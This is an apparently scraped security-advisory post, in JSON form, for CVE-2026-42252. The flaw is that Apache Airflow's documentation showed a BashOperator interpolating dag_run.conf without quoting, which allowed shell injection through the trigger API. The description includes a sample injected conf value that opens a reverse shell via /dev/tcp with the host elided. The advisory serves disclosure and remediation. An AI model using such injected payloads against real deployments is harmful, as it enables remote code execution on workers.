{“lastseen”:””,”description”:”Apache Airflow’s official documentation at `core-concepts\/dag-run.html` (\\”Passing Parameters when triggering Dags\\”) showed a verbatim `BashOperator(bash_command=\\”echo value: {{ dag_run.conf[‘conf1’] }}\\”)` example without any quoting \/ sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\\”; bash -i \\u003e\\u0026 \/dev\/tcp\/…\/9999 0\\u003e\\u00261; #\\”` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache\/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.”,”published”:”2026-06-01T07:51:19.018Z”,”modified”:”2026-06-02T16:43:13.898Z”,”type”:”cve”,”title”:”Apache Airflow: BashOperator Jinja2 injection via dag_run.conf \u2014 low-privilege user pattern”,”source”:”apache”,”references”:”https:\/\/github.com\/apache\/airflow\/pull\/64129\\nhttps:\/\/lists.apache.org\/thread\/8f4sc0rfn154jprmnwtmlst4p9zfw3w7″,”id”:”CVE-2026-42252″,”bulletinFamily”:””,”cwe”:[“CWE-1336″],”cvelist”:null,”sourceData”:”Apache Software Foundation Apache Airflow 3.0.0″,”sourceHref”:””,”cvss”:{“score”:9.1,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:””,”category_name”:”CVE”,”post_link”:””,”product”:”Apache Airflow”,”version”:”3.0.0″,”vendor”:”Apache Software Foundation”,”ai_description”:”BashOperator Jinja2 injection via dag_run.conf allows low-privilege users to inject shell metacharacters”,”ai_severity”:”Critical”,”ai_vendor”:”Apache Software Foundation”,”ai_product”:”Apache Airflow”,”ai_version”:”3.0.0, 3.2.2″,”ai_score”:9.1}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:””,”description”:”Apache Airflow’s official documentation at `core-concepts\/dag-run.html` (\\”Passing Parameters when triggering Dags\\”) showed a verbatim `BashOperator(bash_command=\\”echo value: {{ dag_run.conf[‘conf1’] }}\\”)` example without any quoting \/ sanitization…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[9,6,8,10,12,13,7,11,5],"class_list":["post-59330","post","type-post","status-publish","format-standard","hentry","category-category_cve","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n